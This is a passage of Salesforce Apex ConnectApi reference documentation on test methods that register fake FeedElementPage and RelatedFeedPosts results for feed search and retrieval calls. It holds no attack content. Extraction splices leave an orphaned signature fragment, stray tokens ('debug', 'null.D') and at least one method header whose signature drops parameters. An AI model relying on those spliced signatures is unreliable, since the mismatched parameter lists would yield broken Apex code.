Type: ConnectApi.FeedElementPage

The object containing test data.

Return Value
Type: Void

SEE ALSO:
getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince, showInternalOnly)

Testing ConnectApi Code

```java
setTestGetFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, updatedSince, filter, result)
```

Register a ConnectApi.FeedElementPage object to be returned when getFeedElementsUpdatedSince is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
35.0
public static Void setTestGetFeedElementsUpdatedSince(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer elementsPerBundle, ConnectApi.FeedDensity density, String updatedSince, ConnectApi.FeedFilter filter, ConnectApi.FeedElementPage result)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.UserProfile.

subjectId
Type: String
The ID of any user. To specify the context user, use the user ID or the alias me.

recentCommentCount
Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

elementsPerBundle
Type: Integer
Maximum number of feed elements per bundle. The default and maximum value is 10.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

updatedSince
Type: String
An opaque token defining the modification time stamp of the feed and the sort order.
The updatedSince parameter doesn’t return feed elements that are created in the same second as the call.
filter
Type: ConnectApi.FeedFilter
Value must be ConnectApi.FeedFilter.CommunityScoped. Filters the feed to include only feed elements that are scoped to Experience Cloud sites. Feed elements that are always visible in all sites are filtered out. Currently, feed elements scoped to sites have a User or a Group parent record. However, other parent record types could be scoped to sites in the future.

result
Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void

Register a ConnectApi.FeedElementPage object to be returned when getFeedElementsUpdatedSince is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
40.0

Signature
public static Void setTestGetFeedElementsUpdatedSince(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince, String customFilter, ConnectApi.FeedElementPage result)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.

subjectId
Type: String
The ID of a case.

**recentCommentCount**
Type: **Integer**
Maximum number of comments to return with each feed element. The default value is 3.

**elementsPerBundle**
Type: **Integer**
Maximum number of feed elements per bundle. The default and maximum value is 10.

**density**
Type: **ConnectApi.FeedDensity**
Specify the amount of content in a feed.
- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.

Boolean showInternalOnly, ConnectApi.FeedFilter filter,
ConnectApi.FeedElementPage result)
```
Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**feedType**
Type: `ConnectApi.FeedType`
Value must be `ConnectApi.FeedType.Record`.

**subjectId**
Type: String
Any record ID, including a group ID.

**recentCommentCount**
Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

**elementsPerBundle**
Type: Integer
Maximum number of feed elements per bundle. The default and maximum value is 10.

**density**
Type: `ConnectApi.FeedDensity`
Specify the amount of content in a feed.
- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

**pageSize**
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**updatedSince**
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token from the `updatesToken` property of the `ConnectApi.FeedElementPage` response body.

The **updatedSince** parameter doesn’t return feed elements that are created in the same second as the call.

**showInternalOnly**
Type: Boolean
Specifies whether to show only feed elements from internal (non-Experience Cloud site) users (`true`), or not (`false`). The default value is `false`.

**filter**
Type: `ConnectApi.FeedFilter`
Specifies the feed filters.

- **AllQuestions**—Feed elements that are questions.
- **AuthoredBy**—Feed elements authored by the user profile owner. This value is valid only for the UserProfile feed.
- **CommunityScoped**—Feed elements that are scoped to Experience Cloud sites. Currently, these feed elements have a User or a Group parent record. However, other parent record types could be scoped to sites in the future. Feed elements that are always visible in all sites are filtered out. This value is valid only for the UserProfile feed.
- **QuestionsWithCandidateAnswers**—Feed elements that are questions that have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **QuestionsWithCandidateAnswersReviewedPublished**—Feed elements that are questions that have candidate answers that have been reviewed or published. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **Read**—Feed elements that are older than 30 days or are marked as read for the context user. Includes existing feed elements when the context user joined the group. This value is valid only for the Record feed of a group.
- **SolvedQuestions**—Feed elements that are questions and that have a best answer.
- **UnansweredQuestions**—Feed elements that are questions and that don’t have any answers.
- **UnansweredQuestionsWithCandidateAnswers**—Feed elements that are questions that don’t have answers but have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **Unread**—Feed elements that are created in the past 30 days and aren’t marked as read for the context user. This value is valid only for the Record feed of a group.
- **UnsolvedQuestions**—Feed elements that are questions and that don’t have a best answer.

result

Type: `ConnectApi.FeedElementPage`

The object containing test data.

Return Value

public static Void setTestGetFeedElementsUpdatedSince(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince, Boolean showInternalOnly, String customFilter, ConnectApi.FeedElementPage result)

Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**feedType**
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.

**subjectId**
Type: String
The ID of a case.

**recentCommentCount**
Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

**elementsPerBundle**
Type: Integer
Maximum number of feed elements per bundle. The default and maximum value is 10.

**density**
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
- *AllUpdates*—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- *FewerUpdates*—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

**pageSize**
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

**updatedSince**
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token from the updatesToken property of the ConnectApi.FeedElementPage response body.
The `updatedSince` parameter doesn't return feed elements that are created in the same second as the call.

**showInternalOnly**
Type: Boolean
Specifies whether to show only feed elements from internal (non-Experience Cloud site) users (true), or not (false). The default value is false.

**customFilter**
Type: String
Custom filter that applies only to the case feed. See customFeedFilter in the Metadata API Developer Guide for supported values.

**result**
Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void

SEE ALSO:
- getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, updatedSince, showInternalOnly, customFilter)
- Testing ConnectApi Code

```java
setTestGetRelatedPosts(communityId, feedElementId, filter, maxResults, result)
```

Register a ConnectApi.RelatedFeedPosts object to be returned when the matching ConnectApi.getRelatedPosts(communityId, feedElementId, filter, maxResults) method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
37.0

Signature
```java
public static Void setTestGetRelatedPosts(String communityId, String feedElementId, ConnectApi.RelatedFeedPostType filter, Integer maxResults, ConnectApi.RelatedFeedPosts result)
```

Parameters
- **communityId**
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.
- **feedElementId**
  Type: String
  ID of the feed element. The feed element must be a question.
filter
  Type: ConnectApi.RelatedFeedPostType
  Specifies the type of related feed post. Values are:
  • Answered—Related questions that have at least one answer.
  • BestAnswer—Related questions that have a best answer.
  • Generic—All types of related questions, including answered, with a best answer, and unanswered.
  • Unanswered—Related questions that don’t have answers.
  Generic is the default value.

maxResults
  Type: Integer
  The maximum number of results to return. You can return up to 25 results; 5 is the default.

result
  Type: ConnectApi.RelatedFeedPosts
  The object containing test data.
  In version 37.0 and later, related feed posts are questions.

Return Value
  Type: Void

setTestGetTopUnansweredQuestions(communityId, result) (Pilot)
  Register a ConnectApi.FeedElementPage object to be returned when the matching
  ConnectApi.getTopUnansweredQuestions method is called in a test context. Use the method with the same parameters
  or you receive an exception.

Note: We provided top-five unanswered questions to selected customers through a pilot program that required agreement to
  specific terms and conditions. This pilot program is closed and not accepting new participants.

API Version
  42.0

Signature
  public static Void setTestGetTopUnansweredQuestions(String communityId, ConnectApi.FeedElementPage result)

Parameters
  communityId
    Type: String
    ID of the Experience Cloud site.
  result
    Type: ConnectApi.FeedElementPage
    The object containing test data.
Return Value
Type: Void

SEE ALSO:
- getTopUnansweredQuestions(communityId) (Pilot)
- Testing ConnectApi Code

**setTestGetTopUnansweredQuestions(communityId, filter, result) (Pilot)**

Register a `ConnectApi.FeedElementPage` object to be returned when the matching `ConnectApi.getTopUnansweredQuestions` method is called in a test context. Use the method with the same parameters or you receive an exception.

Note: We provided top-five unanswered questions to selected customers through a pilot program that required agreement to specific terms and conditions. This pilot program is closed and not accepting new participants.

API Version
42.0

Signature
```
public static Void setTestGetTopUnansweredQuestions(String communityId,
ConnectApi.TopUnansweredQuestionsFilterType filter, ConnectApi.FeedElementPage result)
```

Parameters
- **communityId**
  Type: `String`
  ID of the Experience Cloud site.
- **filter**
  Type: `ConnectApi.FeedFilter`
  Specifies the filter for the feed. `UnansweredQuestionsWithCandidateAnswers` is the only valid value.
- **result**
  Type: `ConnectApi.FeedElementPage`
  The object containing test data.

Return Value
Type: Void

SEE ALSO:
- getTopUnansweredQuestions(communityId, filter) (Pilot)
- Testing ConnectApi Code
**setTestGetTopUnansweredQuestions(communityId, pageSize, result) (Pilot)**

Register a `ConnectApi.FeedElementPage` object to be returned when the matching `ConnectApi.getTopUnansweredQuestions` method is called in a test context. Use the method with the same parameters or you receive an exception.

**Note:** We provided top-five unanswered questions to selected customers through a pilot program that required agreement to specific terms and conditions. This pilot program is closed and not accepting new participants.

API Version
42.0

Signature
```java
public static Void setTestGetTopUnansweredQuestions(String communityId, Integer pageSize, ConnectApi.FeedElementPage result)
```

Parameters
- **communityId**
  - Type: `String`
  - ID of the Experience Cloud site.
- **pageSize**
  - Type: `Integer`
  - Specifies the number of items per page. Valid values are from 0 through 10. If you pass in `null`, the default size is 5.
- **result**
  - Type: `ConnectApi.FeedElementPage`
  - The object containing test data.

Return Value
Type: Void

SEE ALSO:
- `getTopUnansweredQuestions(communityId, pageSize) (Pilot)`

**setTestGetTopUnansweredQuestions(communityId, filter, pageSize, result) (Pilot)**

Register a `ConnectApi.FeedElementPage` object to be returned when the matching `ConnectApi.getTopUnansweredQuestions` method is called in a test context. Use the method with the same parameters or you receive an exception.

**Note:** We provided top-five unanswered questions to selected customers through a pilot program that required agreement to specific terms and conditions. This pilot program is closed and not accepting new participants.
API Version
42.0

Signature
public static Void setTestGetTopUnansweredQuestions(String communityId, ConnectApi.FeedFilter filter, Integer pageSize, ConnectApi.FeedElementPage result)

Parameters

communityId
Type: String
ID of the Experience Cloud site.

filter
Type: ConnectApi.FeedFilter
Specifies the filter for the feed. UnansweredQuestionsWithCandidateAnswers is the only valid value.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 0 through 10. If you pass in null, the default size is 5.

result
Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void

SEE ALSO:

Testing ConnectApi Code

setTestSearchFeedElements(communityId, q, result)
Register a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElements method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
31.0

Signature
public static Void setTestSearchFeedElements(String communityId, String q, ConnectApi.FeedElementPage result)
Parameters

**communityId**
- Type: String
- Use the ID for an Experience Cloud site, internal, or null.

**q**
- Type: String
- Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

**result**
- Type: `ConnectApi.FeedElementPage`
- The object containing test data.

Return Value

Type: Void

SEE ALSO:
- `searchFeedElements(communityId, q)`
- Testing ConnectApi Code

**setTestSearchFeedElements(communityId, q, sortParam, result)**

Register a `ConnectApi.FeedElementPage` object to be returned when the matching `ConnectApi.searchFeedElements` method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version

31.0

Signature

```java
public static Void setTestSearchFeedElements(String communityId, String q, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedElementPage result)
```

Parameters

**communityId**
- Type: String
- Use the ID for an Experience Cloud site, internal, or null.

**q**
- Type: String
- Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

**sortParam**
- Type: `ConnectApi.FeedSortOrder`
Values are:

- **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- **Relevance**—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

If you pass in null, the default value CreatedDateDesc is used.

**result**

Type: `ConnectApi.FeedElementPage`

The object containing test data.

**Return Value**

Type: Void

**SEE ALSO:**

- `searchFeedElements(communityId, q, sortParam)`
- `Testing ConnectApi Code`

**setTestSearchFeedElements(communityId, q, threadedCommentsCollapsed, result)**

Register a `ConnectApi.FeedElementPage` object to be returned when the matching `ConnectApi.searchFeedElements` method is called in a test context. Use the method with the same parameters or you receive an exception.

**API Version**

44.0

**Signature**

```java
public static Void setTestSearchFeedElements(String communityId, String q, Boolean threadedCommentsCollapsed, ConnectApi.FeedElementPage result)
```

**Parameters**

- **communityId**
  
  Type: `String`
  
  Use the ID for an Experience Cloud site, internal, or null.

- **q**
  
  Type: `String`
  
  Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
threadedCommentsCollapsed
Type: Boolean
Specifies whether to return threaded comments in a collapsed style (true) or not (false). If you pass in null, the default is false.

result
Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void

SEE ALSO:

setTestSearchFeedElements(communityId, q, pageParam, pageSize, result)
Register a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElements method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
31.0

Signature
public static Void setTestSearchFeedElements(String communityId, String q, String pageParam, Integer pageSize, ConnectApi.FeedElementPage result)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.D

q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

result
Type: ConnectApi.FeedElementPage

The object containing test data.

Return Value
Type: Void

SEE ALSO:

Register a ConnectApi.FeedElementPage object to be returned when the matching ConnectApi.searchFeedElements method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
31.0

Signature
public static Void setTestSearchFeedElements(String communityId, String q, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedElementPage result)

Parameters

communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

q
  Type: String
  Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

pageParam
  Type: String
  The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
  Type: Integer
  Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
   Type: ConnectApi.FeedSortOrder
   Values are:
   • CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
   • CreatedDateDesc—Sorts by most recent creation date.
   • LastModifiedDateDesc—Sorts by most recent activity.
   • MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
   • Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
   If you pass in null, the default value CreatedDateDesc is used.

result
   Type: ConnectApi.FeedElementPage
   The object containing test data.

API Version

31.0

Signature

```java
public static Void setTestSearchFeedElements(String communityId, String q, Integer recentCommentCount, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedElementPage result)
```
Parameters

**communityId**

Type: **String**

Use the ID for an Experience Cloud site, internal, or **null**.

**q**

Type: **String**

Required and cannot be **null**. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See [Wildcards](#).

**recentCommentCount**

Type: **Integer**

Maximum number of comments to return with each feed element. The default value is 3.

**pageParam**

Type: **String**

The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in **null**, the first page is returned.

**pageSize**

Type: **Integer**

Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in **null**, the default size is 25.

**sortParam**

Type: **ConnectApi.FeedSortOrder**

Values are:

- **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for **DirectMessageModeration**, **Draft**, **Moderation**, and **PendingReview** feeds.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for **Home** feeds when the `ConnectApi.FeedFilter` is **UnansweredQuestions**.
- **Relevance**—Sorts by most relevant content. This sort order is available only for **Company**, **Home**, and **Topics** feeds.

If you pass in **null**, the default value **CreatedDateDesc** is used.

**result**

Type: **ConnectApi.FeedElementPage**

The object containing test data.

Return Value

Type: **Void**

SEE ALSO:

- `searchFeedElements(communityId, q, recentCommentCount, pageParam, pageSize, sortParam)`

Signature

```java
public static Void setTestSearchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedElementPage result)
```

Parameters

- `communityId`
  
  Type: `String`
  
  Use the ID for an Experience Cloud site, internal, or null.

- `feedType`
  
  Type: `ConnectApi.FeedType`
  
  The type of feed. Valid values are Company, DirectMessageModeration, Home, Moderation, and PendingReview.

- `pageParam`
  
  Type: `String`
  
  The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

- `pageSize`
  
  Type: `Integer`
  
  Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

- `sortParam`
  
  Type: `ConnectApi.FeedSortOrder`
  
  Values are:
  - `CreatedDateAsc`—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
  - `CreatedDateDesc`—Sorts by most recent creation date.
  - `LastModifiedDateDesc`—Sorts by most recent activity.
  - `MostViewed`—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
  - `Relevance`—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
  
  If you pass in null, the default value CreatedDateDesc is used.

- `q`
  
  Type: `String`
  
  Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

- `result`
  
  Type: `ConnectApi.FeedElementPage`
  
  The object containing test data.
Return Value
Type: Void

SEE ALSO:
  searchFeedElementsInFeed(communityId, feedType, pageParam, pageSize, sortParam, q)
  Testing ConnectApi Code

```java
public static Void setTestSearchFeedElementsInFeed(String communityId, ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedElementPage result)
```

Register a `ConnectApi.FeedElementPage` object to be returned when the matching `ConnectApi.searchFeedElementsInFeed` method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
31.0

Parameters

**communityId**
Type: `String`  
Use the ID for an Experience Cloud site, internal, or `null`.

**feedType**
Type: `ConnectApi.FeedType`  
The type of feed. Valid values are `Company`, `DirectMessageModeration`, `Home`, `Moderation`, and `PendingReview`.

**recentCommentCount**
Type: `Integer`  
Maximum number of comments to return with each feed element. The default value is 3.

**density**
Type: `ConnectApi.FeedDensity`  
Specify the amount of content in a feed.

- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**
Type: `String`
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

debug

**pageSize**

Type: Integer

Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

**sortParam**

Type: ConnectApi.FeedSortOrder

Values are:

- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

If you pass in null, the default value CreatedDateDesc is used.

**q**

Type: String

Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

**result**

Type: ConnectApi.FeedElementPage

The object containing test data.

Return Value

Type: Void

SEE ALSO:

- Testing ConnectApi Code

**setTestSearchFeedElementsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q, filter, result)**

Register a ConnectApi.FeedElementPage object to be returned when the matching ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version

32.0
**Signature**

```java
public static Void setTestSearchFeedElementsInFeed(String communityId,
    ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
    String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q,
    ConnectApi.FeedFilter filter, ConnectApi.FeedElementPage result)
```

**Parameters**

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

- **feedType**
  - Type: `ConnectApi.FeedType`
  - The type of feed. The only valid value is Home.

- **recentCommentCount**
  - Type: Integer
  - Maximum number of comments to return with each feed element. The default value is 3.

- **density**
  - Type: `ConnectApi.FeedDensity`
  - Specify the amount of content in a feed.
    - AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
    - FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

- **pageParam**
  - Type: String
  - The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

- **pageSize**
  - Type: Integer
  - Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

- **sortParam**
  - Type: `ConnectApi.FeedSortOrder`
  - Values are:
    - CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
    - CreatedDateDesc—Sorts by most recent creation date.
    - LastModifiedDateDesc—Sorts by most recent activity.
    - MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
    - Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
  - If you pass in null, the default value CreatedDateDesc is used.
**q**

Type: **String**

Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See **Wildcards**.

**filter**

Type: **ConnectApi.FeedFilter**

Specifies the feed filters.

- **AllQuestions**—Feed elements that are questions.
- **AuthoredBy**—Feed elements authored by the user profile owner. This value is valid only for the **UserProfile** feed.
- **CommunityScoped**—Feed elements that are scoped to Experience Cloud sites. Currently, these feed elements have a User or a Group parent record. However, other parent record types could be scoped to sites in the future. Feed elements that are always visible in all sites are filtered out. This value is valid only for the **UserProfile** feed.
- **QuestionsWithCandidateAnswers**—Feed elements that are questions that have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **QuestionsWithCandidateAnswersReviewedPublished**—Feed elements that are questions that have candidate answers that have been reviewed or published. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **Read**—Feed elements that are older than 30 days or are marked as read for the context user. Includes existing feed elements when the context user joined the group. This value is valid only for the **Record** feed of a group.
- **SolvedQuestions**—Feed elements that are questions and that have a best answer.
- **UnansweredQuestions**—Feed elements that are questions and that don’t have any answers.
- **UnansweredQuestionsWithCandidateAnswers**—Feed elements that are questions that don’t have answers but have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **Unread**—Feed elements that are created in the past 30 days and aren’t marked as read for the context user. This value is valid only for the **Record** feed of a group.
- **UnsolvedQuestions**—Feed elements that are questions and that don’t have a best answer.

**result**

Type: **ConnectApi.FeedElementPage**

The object containing test data.

**Return Value**

Type: **Void**

**SEE ALSO:**

**setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, q, result)**

Register a **ConnectApi.FeedElementPage** object to be returned when the matching **ConnectApi.searchFeedElementsInFeed** method is called in a test context. Use the method with the same parameters or you receive an exception.
API Version
31.0

Signature
public static Void setTestSearchFeedElementsInFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, String q, ConnectApi.FeedElementPage result)

Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**feedType**
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter, Landing, and Streams.

**subjectId**
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feed type is UserProfile, subjectId can be any user ID. If feedType is any other value, subjectId must be the ID of the context user or the alias me.

**q**
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

**result**
Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void

SEE ALSO:

**setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, q, result)**

Register a ConnectApi.FeedElementPage object to be returned when the matching ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters or you receive an exception.
API Version
31.0

Signature
```java
public static Void setTestSearchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedElementPage result)
```

Parameters

`communityId`
Type: `String`
Use the ID for an Experience Cloud site, internal, or `null`.

`feedType`
Type: `ConnectApi.FeedType`
The type of feed. Valid values include every `ConnectApi.FeedType` except Company, DirectMessages, Filter, Landing, and Streams.

`subjectId`
Type: `String`
If `feedType` is Record, `subjectId` can be any record ID, including a group ID. If `feedType` is Streams, `subjectId` must be a stream ID. If `feedType` is Topics, `subjectId` must be a topic ID. If `feedType` is UserProfile, `subjectId` can be any user ID. If the `feedType` is any other value, `subjectId` must be the ID of the context user or the alias `me`.

`pageParam`
Type: `String`
The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

`pageSize`
Type: `Integer`
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

`sortParam`
Type: `ConnectApi.FeedSortOrder`
Order of feed items in the feed.

- `CreatedDateAsc`—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
- `CreatedDateDesc`—Sorts by most recent creation date.
- `LastModifiedDateDesc`—Sorts by most recent activity.
- `MostViewed`—Sorts by most viewed content. This sort order is available only for Home feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
- `Relevance`—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

If you pass in `null`, the default value `CreatedDateDesc` is used.

`q`
Type: `String`
Search term. Searches keywords in the user or group name. A minimum of one character is required. This parameter does not support wildcards. This parameter is required.

**result**
Type: `ConnectApi.FeedElementPage`

The object containing test data.

Return Value
Type: Void

SEE ALSO:

`searchFeedElementsInFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, q)`

Testing ConnectApi Code

`setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, result)`

Register a `ConnectApi.FeedElementPage` object to be returned when the matching `ConnectApi.searchFeedElementsInFeed` method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
31.0

Signature

```java
public static Void setTestSearchFeedElementsInFeed(String communityId,
    ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
    ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
    ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedElementPage result)
```

Parameters

**communityId**
Type: `String`

Use the ID for an Experience Cloud site, internal, or null.

**feedType**
Type: `ConnectApi.FeedType`

